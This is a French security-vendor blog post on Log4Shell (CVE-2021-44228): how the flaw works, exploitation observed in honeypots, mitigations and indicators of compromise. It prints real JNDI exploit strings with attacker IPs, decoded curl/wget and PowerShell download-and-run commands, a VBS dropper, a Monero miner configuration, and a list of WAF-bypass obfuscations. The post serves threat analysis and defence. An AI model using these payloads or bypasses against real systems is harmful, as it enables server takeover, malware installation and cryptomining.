Le 24 novembre, Chen Zhaojun, expert en sécurité d’Alibaba, a signalé la vulnérabilité connue sous le nom de CVE-2021-44228. « Log4j » est une bibliothèque de journalisation Open Source déployée dans les services cloud et les logiciels d’entreprises. Depuis le vendredi 10 décembre, « Log4Shell » a été repris dans tous les médias cyber. Une telle popularité s’explique par son score CVSS de 10. Il s’agit d’un exploit de type RCE (remote code execution).
L’impact est retentissant puisque tout le monde peut être touché par cette faille. A ce jour, des dizaines de milliers de services sont identifiés comme vulnérables (plus de 500 000 adresses IP publiques sont répertoriées) parmi Apple, Steam, Github, Google ou encore IBM. Toutes les applications utilisant le framework Log4j2 sont probablement vulnérables.
Le risque majeur, auquel tout le monde s’attend dans les prochaines semaines ou mois, est de voir une recrudescence de ransomwares.
Comment fonctionne cette faille ?
Cette faille de sécurité permet à un attaquant d’envoyer au serveur le lien d’une page web, un message spécifique et de lui faire lire l’ensemble du contenu de cette page. Si la page contient du code en Java, le serveur est capable de l’exécuter. Le pirate peut prendre le contrôle du serveur en installant des malwares de façon extrêmement simple. Il récupère ainsi les données, les utilise pour réaliser du crypto minage ou pour une attaque ransomware…
La CVE-2021-44228 « log4shell » est une vulnérabilité du produit « log4j », un outil permettant d’écrire des logs pour Java, maintenu par Apache Software Foundation. Cette vulnérabilité est une RCE (Remote Code Execution) donc exploitable à distance. Elle affecte toutes les versions de Log4j2 de 2.0-beta9 à 2.14.1. Cela concerne donc un sous-produit Java et non le service Web maintenu par Apache, httpd (Apache http Server).
Cette vulnérabilité est présente dans toutes les versions de log4j 2.X (les version 1.X n’étant pas impactées)
Source : https://blogs.apache.org/cloudstack/entry/log4jshell
La gravité de cette vulnérabilité vient de sa simplicité d’utilisation et de sa capacité d’exploiter un service, même non exposé, si le log vulnérable l’atteint.
Plus d’informations disponibles ici (page maintenue à jour)
https://www.cert.ssi.gouv.fr/alerte/CERTFR-2021-ALE-022/
Comment la détecter ?
Timeline
TEHTRIS a pu constater des exploitations dans la nature dès le 10 décembre de cette vulnérabilité. En exemple :
GET / HTTP/1.1"
${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/<base64 encoded chunk>Quand on analyse la partie Base64 :
(curl -s 45.155.205.233:5874/<service IP>:80||wget -q -O- 45.155.205.233:5874/<service IP>:80)|bashCette syntaxe est typique des Linux avec le double usage de curl/wget pour être sûr que l’un des deux soit installé.
LINUX
GET "/" HTTP/1.0
"${jndi:ldap://2.56.59.123:1389/Basic/Command/Base64/Y3VybCBodHRwOi8vMi41Ni41OS4xMjMvMSAtLW91dHB1dCAxO3dnZXQgLU8gMSBodHRwOi8vMi41Ni41OS4xMjMvMTtjaG1vZCAreCAxOy4vMQ==}"En décodant, on obtient une ligne de commande Linux :
Le malware a pu être récupéré :
curl hxxp://2.56.59.123/1 --output 1;wget -O 1 hxxp://2.56.59.123/1;chmod +x 1;./1curl hxxp://2.56.59.123/1 --output 1;wget -O 1 hxxp://2.56.59.123/1;chmod +x 1;./1Ce fichier ELF permet de lancer des .NET depuis une station Linux. En regardant de plus près, on y trouve un .NET embarqué : StealthBotLinux
(001f1120846e2a51dd096d6558fbd4b1c276eea3b23c5a535d7241524ea34951) dont la fonction principale est la suivante :
public static void Main(string[] args)
{
Program.Install();
Program.RunMiner();
for (;;)
{
Console.ReadKey(true);
}
}Celui-ci embarque un autre exécutable linux setup0141 qu’il va déchiffrer, ainsi qu’un fichier de configuration a.json (encodé en base64) passé en paramètre de l’exécutable :
setup0141-c a.json
Ce fichier a.json contient les données suivantes :
{
"http": {
"enabled": true,
"host": "127.0.0.1",
"port": 26540,
"access-token": null,
"restricted": true
},
"autosave": true,
"cpu": true,
"opencl": false,
"cuda": false,
"pools": [
{
"url": "pool.supportxmr.com:443",
"user": "%USER%",
"keepalive": true,
"tls": true
},
{
"url": "monerohash.com:9999",
"user": "%USER%",
"keepalive": true,
"tls": true
}
]
}Ou le « %USER% » est à remplacer par 4AeriA3wiocD9gUjiw7qptRDfECriZJac8CgGbfUUPUmMSYtLE43dr2XXDN6t5vd1GWMeGjNFSDh5NUPKBKU3bBz8uatDoC
Conclusion : setup0141 semble être un mineur de monéro.
WINDOWS
GET "/" HTTP/1.0
${jndi:ldap://2.56.59.123:1389/Basic/Command/Base64/cG93ZXJzaGVsbCAtYyBpZXggKChOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50KS5Eb3dubG9hZFN0cmluZygnaHR0cHM6Ly90ZXh0YmluLm5ldC9yYXcvMGw4aDR4dXZ4ZScpKQ==}En analysant le base64, on a du powershell :
powershell -c iex ((New-Object System.Net.WebClient).DownloadString('hxxps://textbin[.]net/raw/0l8h4xuvxe'))Le lien contient l’information suivante :
$a="hxxp://2.56.59.123/setup.exe";$b="c:\windows\temp\setup.exe";$c = "c:\users\public\setup.exe";Import-Module BitsTransfer;try{(New-Object System.Net.WebClient).DownloadFile($a, $b);Start-Process -FilePath $b;exit;}catch{};try{Start-BitsTransfer -Source $a -Destination $b;Start-Process -FilePath $b;exit;}catch{};try{(New-Object System.Net.WebClient).DownloadFile($a, $c);Start-Process -FilePath $c;exit;}catch{};try{Start-BitsTransfer -Source $a -Destination $c;Start-Process -FilePath $c;exit;}catch{}Le payload final a pu être récupéré :
457b254439cdbbc167b45abc09d9531b59ac7b104e847e453e5abd016991a6e2Ici on a directement un exécutable .NET pour Windows. L’analyse de code de celui-ci montre qu’il utilise des mécanismes d’obfuscation afin de rendre l’analyse plus difficile. La charge utile est dans un second exécutable .Net qui est lancé dans un nouveau Thread par notre fichier.
Ce second exécutable est lui aussi obfusqué.
(a3a17a04ee104f1096bf46ed779c0139af2049436a3e621c4188ff0f6f2e0f13). Il contient de nombreux mécanismes pour contrer les détections, par exemple : un test permettant de vérifier que la machine est bien connectée à Internet avant de lancer la charge :
public static void smethod_0()
{
try
{
IPAddress[] hostAddresses = Dns.GetHostAddresses("microsoft.com");
if (0 < hostAddresses.Length)
{
return;
}
}
catch
{
}
Environment.Exit(0);
}ou encore la vérification d’un débuggeur attaché à l’analyse :
public static void smethod_4()
{
bool flag = false;
Class1.CheckRemoteDebuggerPresent(Process.GetCurrentProcess().Handle, ref flag);
if (Class1.IsDebuggerPresent() || flag)
{
Environment.Exit(0);
}
}et bien d’autres…
L’analyse de ce binaire montre que celui-ci va exécuter une commande powershell encodée qui contient :
$a="http://%DOWNLOADADDR%/setup.exe
$b="c:\windows\temp\setup.exe";
Import-Module BitsTransfer;
try{
(New-Object System.Net.WebClient).DownloadFile($a, $b);
Start-Process -FilePath $b;
exit;
}catch{};
try{
Start-BitsTransfer -Source $a -Destination $b
Start-Process -FilePath $b;
exit;
}catch{};Nous avons ensuite le script VBS suivant :
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", "http://%DOWNLOADADDR%/setup.exe", False
xHttp.Send
with bStrm
.type = 1
.open
.write xHttp.responseBody
.savetofile "c:\windows\temp\setup.exe", 2
end with
set shell=CreateObject("Shell.Application")
shell.ShellExecute "cmd.exe","/c start c:\windows\temp\setup.exe","c:\windows\temp", "runas", 1
set shell=nothingNous n’avons pas pu récupérer l’exécutable setup.exe.
Dans ces deux scripts, l’adresse %DOWNLOADADDR% est remplacée par 2.56.59.64.
L’attaquant peut donc récupérer sa charge utile (peu importe celle-ci) et continuer son attaque.
Quelles atténuations sont possibles ?
La fondation Apache a publié un correctif en urgence pour patcher la vulnérabilité : la version 2.15.0 puis la version 2.16.0 Log4j (https://logging.apache.org/log4j/2.x/security.html passé au score CVSS 9.0 au 17 décembre).
Le CERT FR, quant à lui propose des mesures de contournement sur son site : https://www.cert.ssi.gouv.fr/alerte/CERTFR-2021-ALE-022/
Cela reste une solution palliative, puisque la liste des logiciels concernés reste colossale. Les correctifs vont devoir être développés et déployés par les fournisseurs. Ensuite, les organisations vont devoir tester et déployer les correctifs et tout ceci va prendre du temps.
Les équipes techniques sont sur le pont, les seules solutions aujourd’hui étant :
- de faire les inventaires des infrastructures pour en vérifier l’exposition
- d’identifier rapidement tous les services web exposés sur Internet
- de mettre à jour la bibliothèque Log4j2 dès que possible
- de filtrer les flux sortants des serveurs pour les limiter aux seuls flux autorisés vers les services de confiance
- de protéger les serveurs derrière les services WAF
- de se concentrer sur la prévention et la rechercher d’éventuels exploits
Recommandations TEHTRIS
En plus de ces recommandations, TEHTRIS vous conseille de :
- patcher
- d’auditer
- de vérifier que la couverture EDR est suffisante et qu’une supervision des parcs est efficace
Par exemple, le powershell cité plus haut est détecté par l’EDR TEHTRIS
Notre technologie XDR va vous aider à identifier les machines vulnérables, si vous avez l’EDR, ce dernier va détecter la faille et pourra, en dernier recours, isoler la menace pour empêcher des attaques sur le serveur. Selon les paramètrages de votre TEHTRIS XDR Platform, l’hyper automatisation embarquée permet une remédiation automatique aux attaques, 24h/24 et 7 jours sur 7.
A noter, par ailleurs que TEHTRIS a réalisé un audit d’impact à propos de la vulnérabilité CVE-2021-44228 « Log4shell ». Elle est non applicable aux produits TEHTRIS. Enfin les honeypots de TEHTRIS, intégrés au produit TEHTRIS Deceptive Response, ont enregistré des exploitations dès l’annonce de la vulnérabilité.
Les attaques citées dans cet article semblent avoir pour but le minage de crypto-monnaie, mais il ne faut pas oublier que cette vulnérabilité risque de servir, dans les jours prochains, de vecteurs pour des ransomwares ou autres types d’attaques plus graves. Des cas ont d’ores et déjà été observés dans la nature.
Une des plus grosses failles d’Internet à ce jour
Cette faille est considérée comme la plus grosse faille critique d’Internet. Elle n’épargne personne. Toutes les organisations peuvent être touchées, tous les secteurs également. Désormais, un défi de taille attend les équipes de sécurité.
TEHTRIS vous partage ses IoCs.
IOC
IP
45.155.205.233
195.54.160.149
101.204.24.28
167.99.221.217
178.128.232.114
217.112.83.246
2.56.59.123
2.56.59.64
Sha256
457b254439cdbbc167b45abc09d9531b59ac7b104e847e453e5abd016991a6e2
3d3ab116c73dcc28e9e331c5e53b45ee12b528b56224d968b7ee949d11b253a2
001f1120846e2a51dd096d6558fbd4b1c276eea3b23c5a535d7241524ea34951
a3a17a04ee104f1096bf46ed779c0139af2049436a3e621c4188ff0f6f2e0f13
Quelques bypass WAF observés
${jndi:${lower:l}${lower:d}a${lower:p}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}
${jndi:dns ldap n’étant pas le seul service vulnerable
$%7Bjndi:ldap
$%7Bjndi:dns